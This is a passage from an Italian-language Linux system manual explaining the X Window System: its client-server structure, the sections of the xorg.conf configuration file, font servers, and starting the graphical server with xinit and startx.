31.12.1 Configurazione generale 1810
31.12.2 Utilizzo attraverso la rete 1811
31.12.3 Avvio 1812
31.12.4 Xdm 1812
31.12.5 Gdm 1814
31.12.6 Kdm 1815
31.12.7 Wdm 1815

31.13 Sessione 1815

31.13.1 Il problema che motiva il concetto di «sessione» 1815
31.13.2 Gli script che controllano l'avvio della sessione 1816
31.13.3 Gestori di sessione 1816
31.13.4 Gnome 1817
31.13.5 KDE 1818

31.14 Accesso remoto alla sessione di lavoro 1823

31.14.1 Funzionamento di VNC in generale 1824
31.14.2 Avvio e conclusione del funzionamento del servente VNC in un sistema GNU 1825
31.14.3 Avvio del servente VNC in condizioni difficili in un sistema GNU 1827
31.14.4 Configurazione e utilizzo dei caratteri tipografici 1830
31.14.5 Accesso a un servente VNC 1831
31.14.6 Utilizzo comune di VNC 1832
31.14.7 VNC attraverso un tunnel cifrato con il protocollo SSH 1832
31.14.8 Inserire VNC automaticamente all'avvio di X 1833
31.14.9 RealVNC e TightVNC 1835
31.14.10 Script «vncrc» 1835
31.14.11 Conclusione 1843

31.15 Riferimenti 1843

.fvwmrc 1802 .twmrc 1797 .vncrc 1830 .Xauthority 1737 1741 .xinitrc 1730 1733 1797 1802 .xmodmap 1786 .xserverrc 1730 .xsession 1810 1815 .Xsession 1810 1815 /etc/kde2/kdm/ 1815 /etc/X11/gdm/ 1814 /etc/X11/kdm/ 1815 /etc/X11/wdm/ 1815 /etc/X11/xdm/ 1812 /etc/X11/xkb/ 1777 /etc/X11/xkb/rules/ 1770 fvwm 1802 get-edid 1748 gnomecc 1817 gnome-session 1817 gnome-wm 1817 mcookie 1741 modeline 1767 panel 1818 parse-edid 1748 setxkbmap 1770 startx 1729 1731 system.twmrc 1797 vnc.conf 1830 vncpasswd 1827 vncrc 1835 vncserver 1825 X 1734 1736 xauth 1739 xdm-config 1812 xev 1784 xhost 1742 xinit 1730 xinitrc 1734 xkbcomp 1783 xkbprint 1775 xmodmap 1784 1786 xon 1743 xorg.conf 1720 1721 Xrealvnc 1827 xserverrc 1734 Xsession 1810 1815 Xtightvnc 1827 xvidtune 1766 Xvnc 1827 xvncviewer 1831 $DISPLAY 1736

X è un sistema grafico per gli ambienti Unix, o più precisamente per gli ambienti aderenti agli standard C ANSI o POSIX. X Window System è stato sviluppato originariamente nei laboratori del MIT (*Massachusetts institute of technology*) e in seguito tutti i diritti sono stati assegnati a un altro ente.

I termini X, X Window e X Window System sono da intendersi come sinonimi dello stesso sistema grafico, mentre il nome «X Windows» non è corretto.

X Window System è un marchio registrato. Lo sviluppo di X come software libero avviene attraverso la fondazione X.Org (⟨*http://www.x.org* ⟩).

31.1 Struttura

Nel sistema X si utilizzano alcuni termini importanti che rappresentano altrettante parti di questo.

- **servente X**

  Il servente X è il programma che gestisce le funzionalità grafiche e le mette a disposizione degli altri programmi. Per questa ragione, l'elaboratore su cui si fa funzionare il servente

X deve essere dotato di video grafico, tastiera e mouse. Il servente grafico fornisce anche un servizio di rete dal momento che consente l'accesso a programmi in funzione presso altri elaboratori.

- **cliente X**

  I clienti X sono i programmi che utilizzano questo ambiente grafico comunicando con il servente X. Un cliente X può essere messo in funzione anche in un elaboratore diverso da quello sul quale è in funzione un servente X.

- **protocollo X**

  Tra i clienti X e il servente X, intercorre una comunicazione, attraverso un protocollo prestabilito.

- **librerie Xlib**

  I programmi che utilizzano i servizi del servente X accedono a funzioni di librerie specifiche che sono conosciute come Xlib.

- **gestore di finestre**

  Un gestore di finestre, ovvero un *window manager*, è un programma speciale che si occupa di gestire le finestre delle varie applicazioni. In generale, nell'ambiente X si tratta di un cliente X.

31.1.1 Hardware

Dal punto di vista di X, l'hardware è ciò che consente di interagire in questo sistema grafico (nel senso che il resto non è di sua competenza). Si tratta della tastiera, dello schermo grafico e del dispositivo di puntamento. In pratica il ruolo di X è quello di controllare tutto questo.

Figura 31.1. X è un sistema attraverso il quale, teoricamente, è possibile avere macchine che fanno girare più di un servente grafico, ognuno in grado di controllare una stazione grafica (*display*) che a sua volta utilizza uno o più schermi grafici.

All'interno di un elaboratore possono funzionare teoricamente più serventi grafici per controllare altrettante stazioni grafiche di lavoro. Inoltre, sempre teoricamente, una stazione grafica può utilizzare più di uno schermo grafico contemporaneamente.

Nel gergo di X la stazione grafica è il *display*, che viene identificato da un numero a partire da zero, nella forma '`:`***n***'. Se una stazione grafica è dotata di più di uno schermo, quando si deve fare riferimento a uno di questi occorre aggiungere all'indicazione del numero della stazione grafica quello dello schermo. Anche in questo caso, il primo corrisponde a zero. La forma diventa quindi '`:`***n***`.`***m***', dove ***n*** è la stazione grafica e ***m*** è lo schermo. La figura 31.1 dovrebbe chiarire il meccanismo. Il valore predefinito di stazione grafica e schermo è zero, per cui, quando non si specificano queste informazioni, si intende implicitamente lo schermo '`:0.0`'.

I dispositivi di puntamento, solitamente il mouse, possono avere un numero variabile di tasti; teoricamente si va da un minimo di uno a un massimo di cinque. Nell'ambiente X, questi tasti si distinguono attraverso un numero: 1, 2, 3, 4 e 5. Il tasto sinistro è il primo e da lì si continua la numerazione. Quando si utilizza un mouse a tre tasti, il tasto numero due è quello centrale.

Il vero problema è che X utilizza normalmente tre tasti: nei mouse a due tasti, il tasto destro svolge la funzione del tasto numero tre e solitamente il tasto centrale (cioè il numero due) si ottiene con l'uso contemporaneo dei due tasti esistenti.

Figura 31.2. La numerazione dei tasti dei mouse che ne hanno solo due è particolare.

Questo problema viene ripreso nella descrizione della configurazione di X e lì dovrebbe risultare più chiaro.

31.1.2 Cliente-servente

Il programma che si occupa di gestire la stazione grafica è il servente grafico. È un servente perché offre solo dei servizi e non interagisce direttamente con l'utente. Sono i programmi clienti a interagire con l'utente. Questi richiedono al servente di poter utilizzare uno schermo determinato e, attraverso la stazione grafica corrispondente, sono in grado di ricevere l'input della tastiera e del dispositivo di puntamento.

Tra i programmi clienti, quello che riveste un ruolo fondamentale è il gestore di finestre, attraverso il quale si rendono disponibili quei meccanismi con cui si può passare facilmente da un programma all'altro e le finestre possono essere ridimensionate o ridotte a icona.

X è trasparente nei confronti della rete. Un programma cliente può utilizzare i servizi di un servente remoto, interagendo con la stazione grafica di quel servente. Questo tipo di utilizzo richiede comunque una forma di autorizzazione o autenticazione, per motivi di sicurezza.

Quando si vuole identificare uno schermo particolare di un certo elaboratore nella rete, si antepone alle coordinate (già viste nella sezione precedente) il nome o l'indirizzo di quell'elaboratore: '***nodo*** **:** ***n*** **.** ***m***'. La figura 31.3 mostra un esempio di questo tipo di utilizzo.

Figura 31.3. Il servente grafico può concedere l'utilizzo della stazione grafica anche a programmi in esecuzione su elaboratori remoti.

Un programma cliente può connettersi con un servente X, sia locale, sia remoto. Per una connessione remota occorre stabilire un collegamento. Il servente X resta normalmente in ascolto sulla porta 6000 + ***n***, dove ***n*** rappresenta il numero della stazione grafica, ovvero del servente X.

Nel caso di una stazione grafica con indirizzo '`:1`', la porta su cui dovrebbe trovarsi in ascolto il servente relativo è la numero 6001.

Il concetto di cliente-servente per ciò che riguarda la rete viene ripreso nei capitoli dedicati proprio alle connessioni in rete (capitolo 38 e successivi).

Infine, è bene tenere in considerazione il fatto che le librerie specifiche per X (Xlib), sono indispensabili sia per i serventi, sia per i clienti.

31.2 X.Org

La versione libera di X è costituita da X.Org[1] e in precedenza da XFree86.[2] In generale si tratta di un servente X per i sistemi operativi Unix, eventualmente in più versioni alternative, specifiche per un gruppo particolare di adattatori grafici.

La struttura prevista per il file system di un sistema GNU e di altri sistemi Unix (sezione 21.12) colloca tutti i file statici di X (binari, documentazione, librerie, ecc.) al di sotto di '`/usr/X11R6/`'. Tuttavia, per ragioni di compatibilità, di norma vengono aggiunti alcuni collegamenti simbolici:

- '`/usr/bin/X11`' che punta a '`/usr/X11R6/bin`',
- '`/usr/lib/X11`' che punta a '`/usr/X11R6/lib/X11`',

- '/usr/include/X11' che punta a '/usr/X11R6/include/X11'.

X utilizza un file di configurazione, che può essere collocato in varie posizioni, ma generalmente si trova nella directory '/etc/X11/'. Il file di configurazione può avere nomi diversi; tra le tante possibilità, meritano attenzione 'xorg.conf', 'XF86Config-4' e 'XF86Config':

'xorg.conf'	File di configurazione previsto per X.Org.
'XF86Config-4'	File di configurazione previsto per XFree86 versione 4.*.
'XF86Config'	File di configurazione normale per XFree86.

In origine era disponibile lo script '**xf86config**', ovvero '**xorgconfig**', attualmente non più utile e rimpiazzato, eventualmente, dal comando '**X -configure**', oppure da uno script specifico per la propria distribuzione GNU/Linux.

31.3 Lettura del file di configurazione

La lettura del file di configurazione di X ('/etc/X11/XF86Config' o '/etc/X11/xorg.conf') può dare molte informazioni utili sull'organizzazione del sistema grafico. In particolare, i programmi utilizzati per generarlo sono realizzati in modo da inserire molti commenti, tra cui anche esempi di direttive, così da agevolare chi volesse modificarlo successivamente a mano.

Il simbolo '**#**' serve a iniziare un commento che termina alla fine della riga, inoltre le righe bianche e quelle vuote vengono ignorate.

A titolo di esempio viene mostrato un file di configurazione generato attraverso '**xorgconfig**', come descritto nella sezione ??xfree86 configurazione essenziale??, ma semplificato.

```
Section "Module"
    Load        "dbe"           # Double buffer extension
    Load        "type1"
    Load        "freetype"
EndSection

Section "Files"
    RgbPath    "/etc/X11/rgb"
    FontPath   "/usr/lib/X11/fonts/misc/"
    FontPath   "/usr/lib/X11/fonts/75dpi/:unscaled"
    FontPath   "/usr/lib/X11/fonts/100dpi/:unscaled"
    FontPath   "/usr/lib/X11/fonts/Type1/"
    FontPath   "/usr/lib/X11/fonts/Speedo/"
    FontPath   "/usr/lib/X11/fonts/75dpi/"
    FontPath   "/usr/lib/X11/fonts/100dpi/"
    FontPath   "/usr/lib/X11/fonts/truetype/"
EndSection

Section "ServerFlags"
    # Option "DontZap"
    # Option "Dont Zoom"
EndSection
```

```
Section "InputDevice"
    Identifier "Keyboard1"
    Driver     "Keyboard"
    Option     "AutoRepeat" "500 30"
    Option     "LeftAlt"     "Meta"
    Option     "RightAlt"    "ModeShift"
    Option     "XkbRules"    "xorg"
    Option     "XkbModel"    "pc104"
    Option     "XkbLayout"   "it"
EndSection

Section "InputDevice"
    Identifier  "Mouse1"
    Driver      "mouse"
    Option      "Protocol"        "PS/2"
    Option      "Device"          "/dev/mouse"
    Option      "Emulate3Buttons" "true"
    # Option    "Emulate3Timeout" "50"
EndSection

Section "Monitor"
    Identifier  "Monitor1"
    HorizSync   30-50
    VertRefresh 50-90
EndSection

Section "Device"
    Identifier  "Standard VESA"
    Driver      "vesa"
EndSection

Section "Screen"
    Identifier  "Screen 1"
    Device      "Standard VESA"
    Monitor     "Monitor1"
    DefaultDepth 16

    Subsection "Display"
        Depth       8
        Modes       "1024x768" "800x600" "640x480"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       16
        Modes       "1024x768" "800x600" "640x480"
        ViewPort    0 0
```

```
    EndSubsection
    Subsection "Display"
        Depth       24
        Modes       "1024x768" "800x600" "640x480"
        ViewPort    0 0
    EndSubsection
EndSection

Section "ServerLayout"
    Identifier  "Simple Layout"
    Screen "Screen 1"
    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"
EndSection
```

Segue la descrizione superficiale di alcune sezioni che possono comporre questo file di configurazione. Per una descrizione un po' più dettagliata si può consultare la pagina di manuale *XF86Config(5)*.

31.3.1 Sezione «Files»

La sezione '**`Files`**' riguarda la posizione dei file utilizzati dal servente.

```
RgbPath "/etc/X11/rgb"
```

La direttiva '**`RgbPath`**' permette di indicare il file contenente l'elenco dei nomi dei colori associato alla codifica RGB relativa.

```
FontPath "/usr/lib/X11/fonts/misc/"
FontPath "/usr/lib/X11/fonts/75dpi/:unscaled"
FontPath "/usr/lib/X11/fonts/100dpi/:unscaled"
FontPath "/usr/lib/X11/fonts/Type1/"
FontPath "/usr/lib/X11/fonts/Speedo/"
FontPath "/usr/lib/X11/fonts/75dpi/"
FontPath "/usr/lib/X11/fonts/100dpi/"
FontPath "/usr/lib/X11/fonts/truetype/"
```

Con le direttive '**`FontPath`**' si indicano le directory contenenti i file dei tipi di carattere utilizzabili.

31.3.2 Sezione «ServerFlags»

La sezione '**`ServerFlags`**' permette di controllare alcune opzioni abbastanza importanti, in particolare quelle seguenti.

```
Option "DontZap"
```

La direttiva '**`DontZap`**', se presente (di solito c'è, ma commentata), toglie la possibilità di concludere l'attività del servente attraverso la combinazione di tasti [*Ctrl Alt Backspace*].

```
Option "Dont Zoom"
```

La direttiva '**DontZoom**', se presente (di solito c'è, ma commentata), toglie la possibilità di cambiare la modalità grafica attraverso l'uso delle combinazioni [*Ctrl Alt* +] («control», «alt», «+ del tastierino numerico») e [*Ctrl Alt* –] («control», «alt», «– del tastierino numerico»).

31.3.3 Sezione «InputDevice»

La sezione '**InputDevice**' può riguardare la configurazione della tastiera, oppure quella del dispositivo di puntamento.

Per quanto riguarda la tastiera, conviene non intervenire manualmente all'interno di questa sezione, in quanto il programma utilizzato per generare il file di configurazione dovrebbe essere in grado di inserire tutte le direttive necessarie.

Una sezione '**InputDevice**' riferita a un mouse, contiene in particolare l'indicazione del protocollo e del file di dispositivo a cui si fa riferimento:

```
Option   "Protocol"       "PS/2"
Option   "Device"         "/dev/mouse"
```

Nel caso di mouse a due tasti, oppure a tre, quando quello centrale corrisponde in realtà alla pressione simultanea dei due tasti, si aggiunge in particolare l'opzione corrispondente:

```
Option   "Emulate3Buttons"       "true"
```

Quando si utilizza un mouse bus, come per esempio il tipo PS/2, il file di dispositivo corrispondente non consente l'accesso multiplo da parte dei processi elaborativi. Di conseguenza si possono creare dei problemi tra X e demoni come '**gpm**'. Il problema si risolve proprio utilizzando il demone '**gpm**' con l'opzione '**-R**' e facendo poi in modo che X utilizzi il dispositivo '`/dev/gpmdata`'.

Quello che si vede di seguito è la configurazione alternativa di una sezione '**InputDevice**' necessaria allo scopo di utilizzare il dispositivo '`/dev/gpmdata`'. In questo caso si considera che il demone '**gpm**' fornisca le funzionalità del mouse secondo il protocollo '**IntelliMouse**' (qualunque sia il tipo di mouse utilizzato effettivamente); le dichiarazioni proposte consentono di utilizzare anche la rotellina (se c'è), e di ottenere la funzione del tasto centrale, anche se questo non dovesse esserci. Si veda a questo proposito anche quanto descritto nella sezione 15.10.

```
Section "InputDevice"
    Identifier   "Mouse1"
    Driver       "mouse"
    Option       "Protocol"              "IntelliMouse"
    Option       "Device"                "/dev/gpmdata"
    Option       "Buttons"               "5"
    Option       "ZAxisMapping"          "4 5"
    Option       "Emulate3Buttons"       "true"
EndSection
```

31.3.4 Sezione «Monitor»

La sezione '**`Monitor`**' riguarda la configurazione del monitor, inteso come unità di visualizzazione dell'immagine, attraverso la sua scansione. Il file di configurazione può contenere diverse sezioni '**`Monitor`**', distinte in base alla direttiva '**`Identifier`**', come nell'esempio seguente:

```
Identifier  "Monitor generico"
```

Il nome utilizzato per identificare il monitor, serve per potervi fare riferimento all'interno di una sezione '**`Screen`**'.

```
HorizSync   31.5, 32.8
```

La direttiva '**`HorizSync`**' permette di definire le frequenze di sincronizzazione orizzontale. Può trattarsi di: valori discreti, cioè di un elenco di valori separati da una virgola; intervalli, cioè da due numeri collegati da un trattino; oppure di elenchi misti.

```
#    HorizSync  30-64         # multisync
#    HorizSync  31.5, 35.2    # multiple fixed sync frequencies
#    HorizSync  15-25, 30-50  # multiple ranges of sync frequencies
```

I valori indicati si riferiscono a kilohertz (simbolo: «kHz»), cioè migliaia di hertz, in modo predefinito.[3]

```
VertRefresh 50-70
```

La direttiva '**`VertRefresh`**' permette di definire le frequenze di sincronizzazione verticale. Valgono le stesse considerazione fatte per i valori della sincronizzazione orizzontale. Generalmente si tratta di un intervallo, come appare nell'esempio, inoltre l'unità di misura predefinita è in hertz.

Queste indicazioni possono essere delicate per il tipo di monitor che si utilizza, per cui non possono essere indicate troppo alla leggera. Infatti, ci sono situazioni in cui un monitor spinto a funzionare a frequenze troppo diverse da quelle previste dalla sua scheda tecnica, può anche risultarne danneggiarlo.

```
# 640x400 @ 70 Hz, 31.5 kHz hsync
Modeline "640x400"     25.175 640  664  760  800   400  409  411  450

# 640x480 @ 60 Hz, 31.5 kHz hsync
Modeline "640x480"     25.175 640  664  760  800   480  491  493  525
```

Le direttive '**`Modeline`**' (solitamente sono più di una nella stessa sezione) permettono di definire in dettaglio le caratteristiche di un ***quadro***, o *frame*, cioè di un'immagine secondo il punto di vista del monitor. Viene definito un nome seguito da una serie di informazioni numeriche (che sono descritte meglio nella sezione 31.6). Convenzionalmente, il nome viene attribuito in modo da ricordare la risoluzione che si ottiene con quel tipo di modalità. A quel nome si fa riferimento attraverso altre direttive nella sezione '**`Screen`**'.

```
Mode "640x480"
    DotClock    25.175
    HTimings    640  664  760  800
    VTimings    480  491  493  525
    # Flags     "Interlace"
EndMode
```

In alternativa alla direttiva '**`Modeline`**', si può utilizzare la direttiva '**`Mode`**' che si articola su più righe e può risultare più leggibile. Qui si mostra la dichiarazione della modalità '**`640x480`**' già vista nell'esempio precedente.

I nomi delle dichiarazione di queste diverse modalità di composizione dei quadri, possono essere usati più volte; quando ciò accade, viene presa in considerazione la prima modalità corrispondente che risulti valida.

Con X.Org, non è più obbligatorio indicare queste direttive '**`Mode`**' o '**`ModeLine`**', perché il servente dispone di un elenco predefinito di queste indicazioni, associate a dei nomi intuitivi, corrispondente alle specifiche VESA.

31.3.5 Sezione «Device»

La sezione '**`Device`**' riguarda la configurazione dell'adattatore grafico. Il file di configurazione può contenere diverse sezioni '**`Device`**', distinte attraverso la direttiva '**`Identifier`**', come nell'esempio seguente:

```
Identifier      "Standard VESA"
```

Il nome utilizzato per identificare l'adattatore, serve per potervi fare riferimento all'interno di una sezione '**`Screen`**'.

La maggior parte delle indicazioni che riguardano l'adattatore grafico possono essere determinate automaticamente dal servente grafico, all'avvio. Tuttavia, una volta conosciute, conviene fissarle nel file di configurazione.

```
Clocks          25.2 28.3
```

La direttiva '**`Clocks`**' è molto importante e delicata. Permette di definire esplicitamente l'elenco di valori di ***dot-clock*** dell'adattatore grafico. Si tratta in pratica delle frequenza con cui possono essere emessi i vari punti che compongono l'immagine. I due valori mostrati nell'esempio, dovrebbero essere sufficientemente bassi e comuni, da poter risultare compatibili con la maggior parte degli adattatori grafici VGA. L'unità di misura predefinita è il megahertz (simbolo: «MHz»), inteso come milioni di hertz.

31.3.6 Sezione «Screen»

La sezione '**Screen**' permette di legare assieme le informazioni sul monitor e sull'adattatore grafico, aggiungendo qualche indicazione sull'aspetto della superficie grafica. Il file di configurazione può contenere diverse sezioni '**Screen**', distinte attraverso la direttiva '**Identifier**', come nell'esempio seguente:

```
Identifier "Screen 1"
```

Le direttive '**Device**' e '**Monitor**' permettono di indicare le sezioni che descrivono le caratteristiche dell'adattatore grafico e del monitor.

```
Device      "S3 ViRGE"
Monitor     "Addonics MON-7C8B"
```

Inoltre, la direttiva '**DefaultDepth**', consente di selezionare la sottosezione '**Display**' predefinita, in base alla scelta della profondità di colori:

```
DefaultDepth 24
```

La sottosezione '**Display**' serve a definire le modalità di visualizzazione che si possono utilizzare in corrispondenza di una certa profondità di colori (o di grigi). In pratica, se il tipo di adattatore grafico e il servente corrispondente permettono di utilizzare profondità di colori differenti, in base al livello utilizzato e in funzione della memoria presente è possibile ottenere risoluzioni più o meno dettagliate.

```
Subsection "Display"
    Depth       24
    Modes       "1024x768" "1280x1024"
    ViewPort    0 0
EndSubsection
```

La direttiva '**Depth**' definisce la profondità di colori espressa in numero di bit. Nell'esempio, il numero 24 rappresenta la possibilità di gestire circa 16 milioni di colori (o grigi), dal momento che con 24 bit si possono rappresentare esattamente 16777216 cifre differenti ($2^{24} = 16777216$).

```
Depth       24
```

La direttiva '**Modes**' elenca le modalità utilizzabili con la profondità di colori definita nella sottosezione. Queste modalità sono indicate per nome, in base a quanto dichiarato nella sezione '**Monitor**', attraverso le direttive '**Modeline**' o '**Mode**', oppure in base alle definizioni VESA predefinite.

```
Modes       "1024x768" "1280x1024"
```

La disponibilità di più modalità che fanno riferimento a risoluzioni differenti, fa sì che si definisca implicitamente una dimensione virtuale della superficie grafica, pari alla risoluzione massima. Questa dimensione deve essere tale da non superare la richiesta di memoria video, comunque deve essere maggiore o uguale alla massima dimensione stabilita con la direttiva '**Modes**'. Quando si utilizza una superficie grafica virtuale più grande di quella effettiva che appare sullo schermo, può essere utile stabilire quale sia la posizione iniziale, all'avvio del ser-

vente. Ciò si ottiene con la direttiva '**ViewPoint**', dove solitamente si utilizzano le coordinate 0 0, a indicare l'angolo superiore sinistro.

```
ViewPort    0 0
```

31.4 Accesso a un servente di caratteri

È già stata descritta a grandi linee la sezione '**Files**' della configurazione di X, in cui si trovano in particolare le direttive '**FontPath**', per dichiarare la collocazione dei file contenenti le informazioni sui caratteri tipografici da visualizzare.

Secondo questo tipo di impostazione, ogni volta che si aggiunge una directory contenente altri caratteri, occorre modificare la configurazione di X per includere anche quella tra i percorsi previsti. Per semplificare l'accesso ai caratteri esistono dei ***serventi di caratteri***, con i quali X può comunicare attraverso la rete, oppure solo dei socket di dominio Unix. In altri termini, un servente di caratteri può offrire il suo servizio attraverso la rete, per più di un elaboratore, oppure anche solo localmente, per mezzo di file *socket*.

Esistono diversi programmi che possono svolgere il compito di un servente di caratteri (per esempio Xfs,[4] X-TT[5] e Xfstt[6]); inoltre, spesso l'installazione di un servente del genere diventa quasi obbligatoria per via delle dipendenze stabilite da chi organizza la propria distribuzione GNU. Senza entrare nell'analisi del funzionamento di un servente di caratteri, basti sapere che di solito questi sono in funzione in attesa di connessioni sulla porta 7100 TCP e se usano un socket di dominio Unix, dovrebbe corrispondere al file '`/tmp/.font-unix/fs7100`'. Se poi si gestiscono più serventi di caratteri nello stesso elaboratore, il numero della porta potrebbe essere un valore leggermente più alto, come 7101 o 7110, a cui si associa di conseguenza il file '`/tmp/.font-unix/fs7101`' o '`/tmp/.font-unix/fs7110`'.

In presenza di uno o più serventi di caratteri, si deve intervenire nella configurazione di X per dichiarare come questi possono essere raggiunti. In caso di socket di dominio Unix, si usano direttive di questo tipo:

```
FontPath "unix/:71nn"
```

In caso di connessioni attraverso la rete, si può provare una di queste due direttive:

```
FontPath "inet/nodo:71nn"
```

```
FontPath "tcp/nodo:71nn"
```

Naturalmente, ***nn*** va sostituito con il valore esatto, in base alla configurazione del servente di caratteri a cui si vuole accedere.

31.5 Funzionamento e accesso

Con le distribuzioni GNU normali, dopo la configurazione del servente X, dovrebbe essere sufficiente avviare lo script '**`startx`**', senza argomenti, per vedere funzionare questo ambiente grafico.

$ **`startx`** [*Invio*]

Avendo avviato il servente X, vale la pena di provare a cambiare la risoluzione di visualizzazione attraverso la combinazione [*Ctrl Alt* +] («control», «alt», «+ del tastierino numerico») e [*Ctrl Alt* −] («control», «alt», «– del tastierino numerico»).

Per passare dal servente X a una console virtuale, è sufficiente utilizzare la combinazione [*Ctrl Alt F1*], oppure [*Ctrl Alt F2*],... invece del solito [*Alt Fn*] che non potrebbe funzionare. Il servente X occupa normalmente la posizione della prima console virtuale libera, che solitamente è la settima; per cui si raggiunge con la combinazione [*Ctrl Alt F7*].

Per concludere l'esecuzione del servente X ci sono due modi:

- interrompere il servente attraverso la combinazione [*Ctrl Alt Backspace*];
- concludere l'esecuzione del gestore di finestre o di altro programma analogo.

L'interruzione dell'esecuzione del servente X con la combinazione [*Ctrl Alt Backspace*] è il modo più brutale, ma può essere opportuno quando non si vede più nulla, specie quando si è avviato X dopo una configurazione sbagliata.

31.5.1 Procedura di avvio

Nelle sezioni precedenti si è accennato al modo con cui è possibile avviare e concludere il funzionamento del servente X. Dovrebbe essere chiaro che per avviare X si utilizza normalmente lo script '**`startx`**' (anche se non è l'unico modo possibile), dal quale si sviluppa una struttura piuttosto articolata che è opportuno conoscere.

Quando sono disponibili diversi serventi grafici distinti a seconda del tipo di adattatore grafico, si crea un collegamento simbolico in modo da poter avviare il servente giusto utilizzando semplicemente il nome '**`X`**'. In pratica, dovrebbe essere il programma di configurazione stesso che provvede a sistemare questa cosa.

Se si avvia semplicemente il servente, utilizzando il nome '**`X`**' oppure quello specifico di un adattatore grafico particolare, si ottiene solo una superficie grafica su cui fare scorrere il mouse. Per poter fare qualcosa, occorre almeno avere in funzione un programma che consenta di avviarne altri. Occorrono cioè dei clienti.[7]

Per risolvere questo problema si deve utilizzare il programma '**`xinit`**', attraverso il quale si possono definire alcuni clienti di partenza (per esempio un gestore di finestre), il tipo di servente da utilizzare e le sue opzioni eventuali.

31.5.1.1 Utilizzo di «xinit»

Il programma '**xinit**' viene usato per avviare il servente X e un primo programma cliente. Quando questo programma cliente termina la sua esecuzione, '**xinit**' invia un segnale di interruzione al servente X e quindi, a sua volta, termina la sua esecuzione.

```
xinit [[cliente] opzioni] [ -- [servente] [stazione_grafica] opzioni]
```

Se non viene indicato un programma cliente specifico, '**xinit**' tenta di avviare il file '`~/.xinitrc`', che di solito dovrebbe corrispondere a uno script; se questo manca, tenta di avviare il programma '**xterm**' nel modo seguente:

```
xterm -geometry +1+1 -n -login -display :0
```

Se non viene indicato un programma servente specifico, '**xinit**' tenta di avviare il file '`~/.xserverrc`'; se questo manca, tenta di avviare il programma '**X**' nel modo seguente:

```
X :0
```

Quando si vuole fare in modo che il servente X venga avviato inizialmente con un gruppetto di programmi clienti, si fa in modo che '**xinit**' utilizzi per questo uno script. Di solito si tratta proprio del file '`~/.xinitrc`', quello che verrebbe avviato in modo predefinito. All'interno di questo script, i programmi dovrebbero essere avviati sullo sfondo, con la possibile eccezione di quelli che terminano immediatamente la loro funzione. L'ultimo di questi programmi deve funzionare in primo piano (*foreground*), in modo che la sua conclusione corrisponda con quella dello script stesso.

Di solito, '**xinit**' viene avviato senza l'indicazione esplicita di cliente e servente. Se si intende utilizzare questa possibilità, i nomi di cliente e servente devono comprendere il percorso per raggiungerli: devono cioè iniziare con un punto ('**.**') oppure con una barra obliqua ('**/**'). Diversamente non verrebbero riconosciuti come tali, ma come opzioni per il programma cliente o per il programma servente, a seconda che si trovino a sinistra o a destra dei due trattini di separazione ('**--**'). Segue la descrizione di alcuni esempi.

- `$ `**`xinit &`** [*Invio*]

  Avvia '**xinit**' con i valori predefiniti (sullo sfondo). In questo modo '**xinit**' tenta di avviare il servente X utilizzando il programma o lo script '`~/.xinitrc`' come cliente, oppure il programma '**xterm**' in sua mancanza.

- `$ `**`xinit -- /usr/bin/X11/X &`** [*Invio*]

  Si richiede a '**xinit**' di avviare il servente '`/usr/bin/X11/X`' (probabilmente è un programma con privilegi speciali che a sua volta avvia '`/usr/bin/X11/Xorg`'). Per quanto riguarda il cliente, si utilizzano i valori predefiniti.

- `$ `**`xinit -- -depth 16`** [*Invio*]

'**xinit**' avvia il servente X predefinito, con l'argomento '**-depth 16**', attraverso cui si richiede una profondità di colori di 16 bit/pixel ($2^{16} = 65535$). Per quanto riguarda il cliente, si utilizzano i valori predefiniti.

Il modo migliore per verificare cosa accade quando si avvia '**xinit**' è quello di verificare l'interdipendenza tra i processi attraverso '**pstree**'. Supponendo di avere avviato '**xinit**' senza argomenti si dovrebbe ottenere uno schema simile a quello seguente:

```
...---xinit-+-Xorg
            `-xterm---sh
```

In questo caso si può osservare che '**xinit**' avvia il terminale grafico '**xterm**', che a sua volta avvia una shell.

31.5.1.2 Utilizzo di «startx»

Nella sezione precedente si è visto che è possibile avviare il servente X attraverso '**xinit**'. Questo modo potrebbe però risultare scomodo quando si ha la necessità di utilizzare sistematicamente determinati attributi. Il sistema grafico dovrebbe essere avviato attraverso lo script '**startx**', che è predisposto per '**xinit**' nel modo più adatto alle esigenze particolari del proprio sistema.

Di solito le distribuzioni GNU forniscono uno script adattato alla loro impostazione, oppure, lo stesso programma di configurazione di X potrebbe predisporre da solo questo file. In ogni caso, l'amministratore del sistema dovrebbe rivedere questo script ed eventualmente ritoccarlo.

La sintassi di '**startx**', quando si tratta di una versione aderente all'impostazione originale di X, è praticamente uguale a quella di '**xinit**'.

startx [[*cliente*] *opzioni*] [-- [*servente*] *opzioni*]

Lo script '**startx**' offre però la possibilità di predisporre delle opzioni predefinite per cliente e servente.

```
#!/bin/bash
#
# Site administrators are STRONGLY urged to write nicer versions.
#
userclientrc=$HOME/.xinitrc
sysclientrc=/etc/X11/xinit/xinitrc
userserverrc=$HOME/.xserverrc
sysserverrc=/etc/X11/xinit/xserverrc
defaultclient=xterm
defaultserver=/usr/bin/X
defaultclientargs=""
defaultserverargs=""
defaultdisplay=":0"
clientargs=""
serverargs=""

enable_xauth=1
<synellipsis>
```

L'esempio mostra come può apparire la parte iniziale di uno script '**startx**'. Sarebbe sufficiente modificare proprio le prime righe per definire delle opzioni predefinite, attribuendo un valore alle variabili '**clientargs**' e '**serverargs**'. La prima si riferisce alle opzioni per il cliente, la seconda per quelle del servente.

Per esempio, volendo avviare il servente, attraverso '**startx**', con una risoluzione di 16 bit/pixel, basterebbe modificare le prime righe come nell'esempio seguente, in modo da fornire al servente l'opzione '**-depth 16**'.

```
userclientrc=$HOME/.xinitrc
sysclientrc=/etc/X11/xinit/xinitrc
userserverrc=$HOME/.xserverrc
sysserverrc=/etc/X11/xinit/xserverrc
defaultclient=xterm
defaultserver=/usr/bin/X
defaultclientargs=""
defaultserverargs=""
defaultdisplay=":0"
clientargs=""
serverargs="-depth 16"
```

Tuttavia, si scorge facilmente la possibilità di usare dei file di configurazione generali per tutto il sistema:

```
sysclientrc=/etc/X11/xinit/xinitrc
sysserverrc=/etc/X11/xinit/xserverrc
```

Pertanto, la possibilità di modificare direttamente lo script è da considerare solo come ultima risorsa.

Se si vuole leggere il contenuto dello script '**start**', ecco in breve la descrizione delle varie fasi in esso contenute.

1. Vengono definite delle variabili per le impostazioni predefinite.
2. Si determina quale script utilizzare per l'avvio dei programmi clienti e quale per l'avvio del servente.
